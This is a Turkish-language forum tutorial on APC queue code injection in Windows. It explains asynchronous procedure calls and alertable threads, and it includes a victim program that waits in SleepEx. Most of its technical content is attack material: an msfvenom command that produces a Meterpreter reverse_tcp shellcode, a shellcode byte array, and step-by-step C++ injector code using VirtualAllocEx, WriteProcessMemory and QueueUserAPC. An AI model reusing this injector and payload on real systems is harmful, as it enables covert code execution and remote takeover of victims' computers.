blacknbunny
Üye
Introduction to APC, Thread and APC Code Injection
Bu yazımda bir APC (Asynchronous Procedure Call) ‘nin ne olduğundan bahsedeceğim. İnternet’te türkçe olarak böyle bir Code Injection tekniğinin açıklaması ve örnekleri yapıldımı diye baktığımda hiç bir kaynak bulamadım. Bu yüzdende ben yazmaya karar verdim.Yazının ileriki kısımlarında Code Injection gerçekleştirmek için gerekli olan yazılımı step-by-step yani adım adım geliştireceğiz. İlk başlarda sıkıcı-anlaşılmaz gelebilir yalnız tüm anlatım birbiri ile bağlı. Kısaca giriş-gelişme sıkabilir bu yüzden sonuç ‘u bekleyelim.
Yazı hakkında kısa bir özet geçmek gerekirse :
- APC bir fonksiyondur
- Eşzamansız yani Asynchronously çalışan bir fonksiyondur.
- Bu fonksiyon Thread ‘lerin içeriğinde çalışmaktadır.
- Biz bu tekniği kullanarak Process ‘ler içerisine Kod enjekte edebiliyoruz.
- Carberp
- DorkBot
- Aynı zamanda da APT33 tarafından geliştirilen TurnedUp .
Yani kısaca anlatmak istediğim popüler bir teknik olduğundan aynı zamanda da bazı Anti-malware ve EDR (Endpoint Detection and Response) yazılımları tarafından farkedildiğinden, bir Saldırı tekniği olarak sıkça kullanılmasını tavsiye etmiyorum.
APC Nedir ?
Yukarıda basit bir özetini geçtim ama yine de teknik açıdan anlatmakta fayda var.Asynchronous Procedure Call (APC) , Eşzamansız (Asynchronously) olarak çalışan, aynı zamanda da Thread içeriğinde çalışmakta olan bir fonksiyondur.
Bir APC , Thread içerisine sunulduğu zaman sistem Software Interrupt adında bir hata alır. Dolayısı ile Thread tekrar yüklendiğinde ya da çalıştığında o Thread bizim APC fonksiyonumuzu çalıştırır.
- System tarafından oluşturulan bir APC ‘ye kernel-mode APC denilir.
- Application tarafından oluşturulan bir APC ‘ye ise user-mode APC denilmektedir.
Dolayısı ile bir Thread eğer Alertable State içerisinde olmazsa bir asynchronous I/O requesti olan APC fonksiyonunu çalıştıramaz yani process edemez.
Alertable I/O ve APC ‘nin gerekli ilişkisini Windows tarafından yazılan bu dökümanda daha detaylı öğrenebilirsiniz : Alertable I/O
Aklı biraz açıkgözlülüğe çalışanın aklına hemen şu soru gelecektir :
- Yani biz eğer process’in içerisinde bulunan thread’e bir APC fonksiyonu gönderirsek ve bu APC fonksiyonu bizim shellcode’umuzu içerirse bu bir APC Queue Code Injection sayılır değil mi ?
APC Queue Code Injection
Yazdığımız kodu tek tek anlatmaya başlamadan önce APC , Thread , Queue gibi terimleri daha iyi anlaşılması adına tekrar anlatalım.- **APC (Asynchronous Procedure Call) ** : Asenkron (Eşzamansız) olarak çalışan bir fonksiyondur.
- Thread : Bir Process yani çalışan bir program içerisinde birden fazla işlemi aynı zamanda gerçekleştirmek istersek oluşturacağımız Birim yani Unit ‘tir.
- APC Queue to Thread : Thread içerisine çalıştırılacak olan fonksiyonu sunmaktır.
Bu yukarıda anlattığımı kavrayamayan olduysa hiç sorun değil aşağıdaki resim tam olarak APC Queue Code Injection tekniğinin nasıl çalıştığını çok basit gözler önüne seriyor.

Resimi biraz daha adım adım açmak gerekir ise :
- Bir Process oluşturuluyor.
- Process içerisinde alan(memory) ayrılıyor.
- Bu alana Zararlı Kod enjekte ediliyor.
- Enjekte edilen bu Zararlı Kod bir APC fonksiyonunun başlangıç adresine veriliyor.
- Ve bu şekilde APC fonksiyonu Zararlı Kod ‘u çalıştırıyor.
Öncelikle Kurban kodunu geliştirelim ve içeriğini biraz daha açıklayalım.
Victim Code
Öncelikle kütüphanelerimizi ekleyelim :
Kod:
#include <iostream>
#include <Windows.h>
Kod:
int main()
{
std::cout << "Entering alertable state...\n";
SleepEx(1000 * 60, true);
}
Buradaki SleepEx fonksiyonu bir APC fonksiyonudur.
Windows tarafından oluşturulan bu APC dökümanında hangi fonksiyonlar mevcut bakarsanız SleepEx ‘i görebilirsiniz tabi onun dışında bir çok APC fonksiyonu mevcut :
Asynchronous Procedure Calls
Birazdan yapacağımız şey basitçe SleepEx fonksiyonunun başlangıç adresine bizim oluşturacağımız Shellcode ‘u ekleyeceğiz. Dolayısıyla bu Kurban yazılım çalıştığında bizim Zararlı Kod ‘umuzu çalıştıracak.
Attacker Code
Saldırgan kodunu geliştirmeye başlamadan önce alttaki parametreler aracığılıyla MSFVenom kullanarak bir Shellcode oluşturduğunuzu varsayıyorum.
Kod:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx EXITFUNC=thread -f c
Kod:
#include <iostream>
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
Kod:
int main()
{
}
Şimdi Shellcode ‘umuzu bir değişkene atayalım :
Kod:
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41";
Kod:
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
Kod:
HANDLE victimProcess = NULL;
Kod:
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
Kod:
std::vector<DWORD> threadIds;
Kod:
SIZE_T shellcodeSize = sizeof(shellcode);
Kod:
HANDLE threadHandle = NULL;
Daha da basit şekilde Kurban yazılımı bulup bu yazılımın Process kayıtlarını processEntry ‘ye ekliyor. Bu şekilde de yazılım üzerinde düzenleme ya da içerik görme gerçekleştirebileceğiz. Örneğin Kurban yazılımın Process ID ‘sini görmek gibi vs….
Kod:
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"testtt1.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
Kod:
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
Ayırdığımız alanın Adresini ‘de shellcodeAddr değişkenine atıyoruz :
Kod:
LPVOID shellcodeAddr = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Bu kısımda kafanız karışmasın bu değişken ‘in ileride ne yaptığını daha iyi anlayacağız :
Kod:
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellcodeAddr;
Kod:
WriteProcessMemory(victimProcess, shellcodeAddr, shellcode, shellcodeSize, NULL);
Ve sonraki do-while döngüsünde bizim threadEntry içerisindeki Process ID ‘si ile processEntry içerisindeki Process ID ‘nin aynı olup olmadığını karşılaştırıyoruz.
Eğer aynı ise başta oluşturduğumuz threadIDs değişkenine Process içerisinde bulunan Thread yani çalışan Birimler tek tek ekleniyor.
Kod:
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
Aşşağıdaki kod basit bir şekilde şunları yapıyor :
- for döngüsü ile yukarıda anlattığımız do-while döngüsünden çıkan Thread ID ‘leri alınıyor.
- printf ile bu Thread ID ‘ler ekrana yazılıyor.
- Her döngü çalıştığında mevcut olan Thread tüm yetkilerle yani THREAD_ALL_ACCESS ile OpenThread fonksiyonu kullanılarak threadHandle değişkenin içerisine aktarılıyor.
İkinci paramterle olarakta bir üstünde belirttiğimiz threadHandle değişkenini alıyor yani her döngüde yenilenen Kurban yazılım içerisinde bulunan Thread ‘leri.
Kod:
for (DWORD threadId : threadIds) {
printf("Thread : 0x%08x\n", threadId);
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
getchar();
}
return 0;
Dolayısı ile Thread bizim Shellcode ‘umuzu çalıştırıyor.
Tabi diyebilirsiniz ki Hangi thread’ı kullanması gerektiğini nereden biliyor ? diye. Çok güzel bir soru.
Seçtiği Thread ‘ın içeriği bir Alertable State içeren APC fonksiyonu olmak zorunda.
Daha da basiti : SleepEx ‘i içeren bir Thread ise Shellcode çalışıyor.
Döngü ‘nün son kodu olarak eklediğim getchar bunu sağlıyor aslında.
Yani eğer Shellcode ‘u ekleyeceği doğru Thread değilse ENTER tuşuna basıp program içerisindeki başka bir Thread ‘ı deneyebiliyoruz.
Ama Kurban yazılım içerisinde sadece bir APC fonksiyonu kullandığımızdan oda SleepEx fonksiyonu olduğundan ilk Thread ‘da direk Meterpreter ‘den reverse_tcp yani erişimi alacağızdır.
Saldırgan ‘ın tüm kaynak kodu : Saldırgan
Proof Of Concept ( PoC )
Saldırgan ve Kurban yazılımlarının APC Queue Code Injection etkileşiminin gerçekleştiği bir video hazırladım bakmak isterseniz.Video : APC Queue Code Injection PoC
THE END
Bu yazının sonuna da geldik.Process Shellcode Injection tekniklerinden sadece bir tanesidir bu.
Daha önce Process Shellcode Injection nedir hakkında bir yazı yayınladım eğer anlayamayan olduysa bu yazıyı.
Bakmanızı öneririm : Process Shellcode Injection